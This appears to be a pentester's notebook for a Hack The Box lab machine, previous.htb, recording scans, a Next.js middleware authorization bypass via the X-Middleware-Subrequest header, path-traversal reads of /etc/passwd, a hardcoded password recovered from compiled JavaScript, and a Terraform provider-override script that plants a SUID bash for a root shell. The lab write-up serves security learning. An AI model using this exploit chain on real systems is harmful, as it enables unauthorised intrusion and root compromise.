





Previous

Difficulty	Medium
Status	Done

Overview

 Name Company XY pentest	 Time Frame 12 Jan 2024 - 14 Jan 2024	 Goal Obtain domain admin account
---	--	--

 Description <p>This template is designed to streamline the documentation process during penetration testing. It is divided into four main sections: Machines, Attacks & Payloads, Credentials, and Journal.</p> <p>The key to effectively using this template is to continuously update each section with new findings and details as your exploration progresses.</p> <p>You can remove this section or replace it with the complete task description.</p> <p>Keep in mind that this is not a Pentest Report.</p>

Machines

Name	IP	Is Pwned	Is in domain	Has AV	Has FW	Operating System	Observations

Attacks & Payloads

Machine	Attack Vector	Prerequisites	Payload	Additional Notes

Credentials

Username	Hash	Password	Is domain user	Purpose	Additional Notes

Journal

Timestamp	Machine	Note
3:06 PM	previous.htb	Did nmap scan and feroxbuster scan and found details about the web app. View page source revealed je <code>jeremy@previous.htb</code>

Timestamp	Machine	Note
		<p>Next.js 15.2.2 - Auth Bypass - https://projectdiscovery.io/blog/nextjs-middlewre-authorization-bypass</p> <pre> └─\$ nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt previous.htb Starting Nmap 7.95 (https://nmap.org) at 2025-08-24 15:04 EDT Nmap scan report for previous.htb (10.129.235.51) Host is up (0.053s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) _ ssh-hostkey: _ 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) _ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) _ http-title: PreviousJS _ http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel </pre>
3:08 PM	previous.htb	<pre> 404 GET 11 66w 2181c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 308 GET 11 1w 35c http://previous.htb/_next/static/qVDR2cKpRggCslEh-llk9/ ⇒ http://previous.htb/_next/static/qVDR2cKpRggCslEh-llk9/ 308 GET 11 1w 13c http://previous.htb/_next/static/ ⇒ http://previous.htb/_next/static/ 308 GET 11 1w 20c http://previous.htb/_next/static/chunks/ ⇒ http://previous.htb/_next/static/chunks/ 308 GET 11 1w 26c http://previous.htb/_next/static/chunks/pages/ ⇒ http://previous.htb/_next/static/chunks/pages/ 308 GET 11 1w 12c http://previous.htb/application/ ⇒ http://previous.htb/application/ 308 GET 11 1w 17c http://previous.htb/_next/static/css/ ⇒ http://previous.htb/_next/static/css/ 308 GET 11 1w 6c http://previous.htb/_next/ ⇒ http://previous.htb/_next/ 307 GET 11 1w 35c http://previous.htb/api/ ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi/ 200 GET 11 283w 5101c http://previous.htb/_next/static/chunks/pages/index-a09f42904785092c.js 200 GET 11 250w 23885c http://previous.htb/_next/static/css/9a1fff4870b5a50.css 200 GET 11 2w 77c http://previous.htb/_next/static/qVDR2cKpRggCslEh-llk9/_ssgManifest.js 200 GET 11 1w 1305c http://previous.htb/_next/static/qVDR2cKpRggCslEh-llk9/_buildManifest.js 200 GET 11 60w 3028c http://previous.htb/_next/static/chunks/webpack-cb370083d4f9953f.js 200 GET 11 725w 33690c http://previous.htb/_next/static/chunks/pages/_app-95f33af851b6322a.js 200 GET 11 2125w 112594c http://previous.htb/_next/static/chunks/polyfills-42372ed130431b0a.js 200 GET 11 2412w 119495c http://previous.htb/_next/static/chunks/main-0221d9991a31a63c.js 200 GET 11 2734w 139924c http://previous.htb/_next/static/chunks/framework-ee17a4c43a44d3e2.js 200 GET 11 407w 5493c http://previous.htb/ 307 GET 11 1w 36c http://previous.htb/docs ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs 307 GET 11 1w 36c http://previous.htb/api/2 ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi/2 307 GET 11 1w 36c http://previous.htb/api/1 ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi/1 307 GET 11 1w 36c http://previous.htb/apis ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapis 307 GET 11 1w 40c http://previous.htb/api-test ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi-test 307 GET 11 1w 36c http://previous.htb/api/3 ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi/3 307 GET 11 1w 40c http://previous.htb/api.test ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi.test 307 GET 11 1w 38c http://previous.htb/api/dev ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi/dev 307 GET 11 1w 43c http://previous.htb/api.staging ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi.staging 200 GET 11 179w 3481c http://previous.htb/signin 200 GET 11 217w 8862c http://previous.htb/_next/static/chunks/0-c54fcec2d27b858d.js 200 GET 11 136w 3480c http://previous.htb/_next/static/chunks/pages/signin-d0284ed11872b445.js 307 GET 11 1w 39c http://previous.htb/api-dev ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi-dev 307 GET 11 1w 39c http://previous.htb/apitest ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapitest 307 GET 11 1w 39c http://previous.htb/api.dev ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi.dev 307 GET 11 1w 39c http://previous.htb/api.ext ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi.ext 307 GET 11 1w 39c http://previous.htb/api.int ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi.int 307 GET 11 1w 39c http://previous.htb/api.new ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi.new 307 GET 11 1w 45c http://previous.htb/api-web.class ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi-web.c 307 GET 11 1w 36c http://previous.htb/api/4 ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi/4 307 GET 11 1w 43c http://previous.htb/api-staging ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi-staging 307 GET 11 1w 40c http://previous.htb/docs.dev ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs.dev 307 GET 11 1w 36c http://previous.htb/api/f ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi/f 307 GET 11 1w 39c http://previous.htb/api/fweb ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi/fweb 307 GET 11 1w 36c http://previous.htb/api/c ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi/c 307 GET 11 1w 40c http://previous.htb/api/beta ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi.beta 307 GET 11 1w 40c http://previous.htb/docstest ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fdocstest 307 GET 11 1w 39c http://previous.htb/apidemo ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapidemo 307 GET 11 1w 38c http://previous.htb/api-ga ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi-ga 307 GET 11 1w 40c http://previous.htb/api-prod ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi-prod 307 GET 11 1w 39c http://previous.htb/apigold ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapigold 307 GET 11 1w 36c http://previous.htb/api/a ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi/a 307 GET 11 1w 37c http://previous.htb/api/01 ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi/01 </pre>

Timestamp	Machine	Note
		307 GET /1 1w 42c http://previous.htb/api/trading ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapitrading 307 GET /1 1w 46c http://previous.htb/api/membership ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi.membership 307 GET /1 1w 40c http://previous.htb/docshare ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fdocshare 307 GET /1 1w 48c http://previous.htb/api/caloriecount ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi.caloriecount 307 GET /1 1w 39c http://previous.htb/api/0011 ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi.0011 307 GET /1 1w 41c http://previous.htb/api/money ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi.money 307 GET /1 1w 39c http://previous.htb/apibeta ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapibeta 307 GET /1 1w 39c http://previous.htb/api/prod ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi.prod 307 GET /1 1w 39c http://previous.htb/api-old ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi-old 307 GET /1 1w 36c http://previous.htb/api/6 ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi.6 307 GET /1 1w 46c http://previous.htb/api-master-com ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi-master-com 307 GET /1 1w 46c http://previous.htb/api_portal_dev ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi_portal_dev 307 GET /1 1w 43c http://previous.htb/api_web_dev ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi_web_dev 307 GET /1 1w 43c http://previous.htb/api-web-dev ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi-web-dev 307 GET /1 1w 44c http://previous.htb/api_webi_dev ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapi_webi_dev 307 GET /1 1w 39c http://previous.htb/apitwca ⇒ http://previous.htb/api/auth/signin?callbackUrl=%2Fapitwca
3:13 PM	previous.htb	<p>Server error, there is a problem with the server configuration. Check the server logs for more information</p> <p>http://previous.htb/api/auth/signin?callbackUrl=../../../../etc/passwd</p> <p>http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fdocs.dev</p> <p>https://raw.githubusercontent.com/kOaDT/poc-cve-2025-29927/refs/heads/main/exploit.js</p> <p>Make sure to install NPM for the exploit.</p> <p><code>npm install next react react-dom</code></p>
3:55 PM	previous.htb	<pre>GET /docs HTTP/1.1 Host: previous.htb Upgrade-Insecure-Requests: 1 X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng; /;q=0.8,application/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: next-auth.csrf-token=18399eaf845a6a8b62a31225e61c2d1bd69542198a48d1f67443fb7b3f1dd16e%7C6b6fd9a344aaf2659f0b09c4f7a8 next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs Connection: keep-alive</pre> <p>In BurpSuite while we did verify that that the <code>x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware</code> confirmed in the docs section that there was local file inclusion when downloading an example file. This which we confirmed that there was some additional users in here which is a docker container.</p> <pre>GET /api/download?example=../../../../etc/passwd root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21:/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/sbin/nologin node:x:1000:1000:/home/node:/bin/sh nextjs:x:1001:65533:/home/nextjs:/sbin/nologin</pre>

Timestamp	Machine	Note
4:20 PM	previous.htb	<p>Currently just checking for local files since it is vulnerable to LFI.</p> <pre> NODE_VERSION=18.20.8HOSTNAME=0.0.0.0YARN_VERSION=1.22.22HLVL=1PORT=3000HOME=/home/ { "name": "next", "version": "15.2.2", "description": "The React Framework", "main": "./dist/server/next.js", "license": "MIT", "repository": "vercel/next.js", "bugs": "https://github.com/vercel/next.js/issues", "homepage": "https://nextjs.org", "types": "index.d.ts", "files": ["dist", "app.js", "app.d.ts", "babel.js", "babel.d.ts", "client.js", "client.d.ts", "compat", "cache.js", "cache.d.ts", "config.js", "config.d.ts", "constants.js", "constants.d.ts", "document.js", "document.d.ts", "dynamic.js", "dynamic.d.ts", "error.js", "error.d.ts", "future", "legacy", "script.js", "script.d.ts", "server.js", "server.d.ts", "head.js", "head.d.ts", "image.js", "image.d.ts", "link.js", "link.d.ts", "form.js", "form.d.ts", "router.js", "router.d.ts", "jest.js", "jest.d.ts", "amp.js", "amp.d.ts", "og.js", "og.d.ts", "types.d.ts", "types.js", "index.d.ts", </pre>

Timestamp	Machine	Note
		"types/global.d.ts", "types/compiled.d.ts", "image-types/global.d.ts", "navigation-types/navigation.d.ts", "navigation-types/compat/navigation.d.ts", "font", "navigation.js", "navigation.d.ts", "headers.js", "headers.d.ts", "navigation-types", "web-vitals.js", "web-vitals.d.ts", "experimental/testing/server.js", "experimental/testing/server.d.ts", "experimental/testmode/playwright.js", "experimental/testmode/playwright.d.ts", "experimental/testmode/playwright/msw.js", "experimental/testmode/playwright/msw.d.ts", "experimental/testmode/proxy.js", "experimental/testmode/proxy.d.ts"
4:50 PM	previous.htb	<pre>"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require api.runtime.prod.js"},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enu r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.APP_ROUTE_MODULE="APP_ROUTE_MODULE",e.CONFIG={config:{},default:{},P.routeModule:{},A});var t={};r.r(t),r.d(t,{default:{},p});var a=r(3480),s=r(8667),i=r(64 auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)]({name:"Credentials",credentials:{username:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password=== (process.env.ADMIN_SECRET??"MyNamels.JeremyAndLovePancakes")?(id:"1",name:"Jeremy"):null)},pages: {signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)(),o,P=(0,i.M)(t,"default"),l=(0,i a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]"},pathname:"/api/auth/[...nextauth]"},l n=require("../././webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();</pre>
5:08 PM	previous.htb	<p>After finding the password, there was password re-use within SSH and we were able to find we can run</p> <p>User jeremy may run the following commands on previous:</p> <pre>(root) /usr/bin/terraform -chdir=/opt/examples apply</pre>
5:16 PM	previous.htb	<p>Plan: Provider dev override → run our “provider” as root0) Prep dirs <code>mkdir -p /home/jeremy/plugins</code></p> <p>1) Write a Terraform CLI config that overrides the provider source <code>cat > /home/jeremy/terraform.rc <<'EOF'</code></p> <pre>provider_installation { dev_overrides { "previous.htb/terraform/examples" = "/home/jeremy/plugins" } direct {} # fall back to default providers</pre> <p>EOF</p> <p>2) Drop a “malicious provider” executableTerraform will try to execute a file named like <code>terraform-provider-</code></p> <p>We'll make a simple shell script that sets SUID bash (or makes <code>/tmp/rootbash</code>). <code>cat > /home/jeremy/plugins/terraform-provider-examples_v1.0.0</code></p> <pre>#!/bin/sh # run as root via terraform provider load cp /bin/bash /tmp/rootbash 2>/dev/null chmod u+s /tmp/rootbash 2>/dev/null # optional: write proof to a readable file id > /tmp/terraform_pwn.txt 2>&1 # exit nonzero so terraform reports provider init error (after our payload ran) exit 1 EOF chmod +x /home/jeremy/plugins/terraform-provider-examples_v1.0.0</pre> <p>Name pattern matters: <code>terraform-provider-examples_v1.0.0</code></p> <p>(the <code><name></code> must match the last segment of the source <code>previous.htb/terraform/examples</code> → <code>examples</code>)3) E</p> <p>survives sudo per <code>!env_reset</code>) <code>export TF_CLI_CONFIG_FILE=/home/jeremy/terraform.rc</code></p> <p>4) Trigger terraform as root (in the fixed dir) <code>sudo /usr/bin/terraform -chdir=/opt/examples apply -auto-approve</code></p> <p>Terraform will attempt to load the provider from your override directory, run your binary (as root), then c</p> <p>That's fine — your payload already ran.5) Pop root shell <code>/tmp/rootbash -p</code></p> <p>You should have a root shell. Optionally, clean up: <code>rm -f /tmp/rootbash /tmp/terraform_pwn.txt</code></p>